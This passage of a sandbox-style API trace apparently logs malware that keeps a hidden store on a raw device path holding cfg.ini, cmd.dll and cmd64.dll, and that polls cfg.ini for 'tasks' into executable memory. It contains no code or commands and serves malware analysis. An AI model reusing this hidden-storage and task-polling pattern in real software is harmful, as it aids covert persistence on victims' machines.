VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.470] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.470] IdePortDispatch () returned 0x103 [0122.470] KeWaitForMutexObject () returned 0x0 [0122.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.470] KeLeaveCriticalRegion () [0122.470] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.470] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.470] KeEnterCriticalRegion () [0122.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.470] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.470] KeLeaveCriticalRegion () [0122.470] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.470] KeEnterCriticalRegion () [0122.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.470] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.470] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5dc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.470] KeLeaveCriticalRegion () [0122.470] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.471] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.471] KeEnterCriticalRegion () [0122.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.471] ExFreePoolWithTag (P=0xfffffa8003be58e0, Tag=0x0) [0122.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.471] KeLeaveCriticalRegion () [0122.471] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.471] ReleaseMutex (hMutex=0xf0) returned 1 [0122.471] Sleep (dwMilliseconds=0x927c0) [0122.484] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.484] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.484] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.485] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.485] KeEnterCriticalRegion () [0122.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.485] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.485] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.485] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.485] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.485] IdePortDispatch () returned 0x103 [0122.485] KeWaitForMutexObject () returned 0x0 [0122.485] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.485] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.485] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.485] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.485] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.485] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5290 [0122.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.485] KeLeaveCriticalRegion () [0122.485] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.485] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.485] KeEnterCriticalRegion () [0122.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.485] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.485] KeLeaveCriticalRegion () [0122.485] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.485] KeEnterCriticalRegion () [0122.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.485] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.485] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.485] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.485] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.485] IdePortDispatch () returned 0x103 [0122.485] KeWaitForMutexObject () returned 0x0 [0122.486] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.486] KeLeaveCriticalRegion () [0122.486] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.486] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.486] KeEnterCriticalRegion () [0122.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.486] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c9e000 [0122.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.486] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.486] IdePortDispatch () returned 0x103 [0122.486] KeWaitForMutexObject () returned 0x0 [0122.486] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.486] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.486] IdePortDispatch () returned 0x103 [0122.486] KeWaitForMutexObject () returned 0x0 [0122.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.486] KeLeaveCriticalRegion () [0122.486] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.487] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.487] KeEnterCriticalRegion () [0122.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.487] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.487] KeLeaveCriticalRegion () [0122.487] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.487] KeEnterCriticalRegion () [0122.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.487] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.487] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.487] KeLeaveCriticalRegion () [0122.487] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.487] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.487] KeEnterCriticalRegion () [0122.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.487] ExFreePoolWithTag (P=0xfffffa8003be5290, Tag=0x0) [0122.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.487] KeLeaveCriticalRegion () [0122.487] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.487] ReleaseMutex (hMutex=0xf0) returned 1 [0122.487] Sleep (dwMilliseconds=0x927c0) [0122.501] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.501] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.501] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.501] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.501] KeEnterCriticalRegion () [0122.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.502] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.502] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.502] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.502] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.502] IdePortDispatch () returned 0x103 [0122.502] KeWaitForMutexObject () returned 0x0 [0122.502] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.502] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.502] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.502] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.502] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.502] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6670 [0122.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.502] KeLeaveCriticalRegion () [0122.502] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.502] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.502] KeEnterCriticalRegion () [0122.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.502] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.502] KeLeaveCriticalRegion () [0122.502] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.502] KeEnterCriticalRegion () [0122.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.502] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.502] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.502] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.502] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.502] IdePortDispatch () returned 0x103 [0122.502] KeWaitForMutexObject () returned 0x0 [0122.502] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.503] KeLeaveCriticalRegion () [0122.503] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.503] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.503] KeEnterCriticalRegion () [0122.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.503] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca3000 [0122.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.503] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.503] IdePortDispatch () returned 0x103 [0122.503] KeWaitForMutexObject () returned 0x0 [0122.503] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.503] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.503] IdePortDispatch () returned 0x103 [0122.503] KeWaitForMutexObject () returned 0x0 [0122.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.503] KeLeaveCriticalRegion () [0122.503] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.504] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.504] KeEnterCriticalRegion () [0122.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.504] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.504] KeLeaveCriticalRegion () [0122.504] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.504] KeEnterCriticalRegion () [0122.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.504] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.504] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.504] KeLeaveCriticalRegion () [0122.504] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.504] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.504] KeEnterCriticalRegion () [0122.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.504] ExFreePoolWithTag (P=0xfffffa8003bd6670, Tag=0x0) [0122.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.504] KeLeaveCriticalRegion () [0122.504] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.505] ReleaseMutex (hMutex=0xf0) returned 1 [0122.505] Sleep (dwMilliseconds=0x927c0) [0122.518] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.518] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.518] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.518] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.518] KeEnterCriticalRegion () [0122.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.518] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.518] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.518] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.518] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.518] IdePortDispatch () returned 0x103 [0122.519] KeWaitForMutexObject () returned 0x0 [0122.519] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.519] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.519] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.519] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.519] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.519] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5290 [0122.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.519] KeLeaveCriticalRegion () [0122.519] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.519] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.519] KeEnterCriticalRegion () [0122.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.519] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.519] KeLeaveCriticalRegion () [0122.519] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.519] KeEnterCriticalRegion () [0122.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.519] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.519] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.519] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.519] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.519] IdePortDispatch () returned 0x103 [0122.519] KeWaitForMutexObject () returned 0x0 [0122.519] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.519] KeLeaveCriticalRegion () [0122.519] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.520] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.520] KeEnterCriticalRegion () [0122.520] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.520] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca8000 [0122.520] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.520] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.520] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.520] IdePortDispatch () returned 0x103 [0122.520] KeWaitForMutexObject () returned 0x0 [0122.520] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.520] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.520] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.520] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.520] IdePortDispatch () returned 0x103 [0122.520] KeWaitForMutexObject () returned 0x0 [0122.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.520] KeLeaveCriticalRegion () [0122.520] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.521] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.521] KeEnterCriticalRegion () [0122.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.521] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.521] KeLeaveCriticalRegion () [0122.521] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.521] KeEnterCriticalRegion () [0122.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.521] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.521] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.521] KeLeaveCriticalRegion () [0122.521] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.521] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.521] 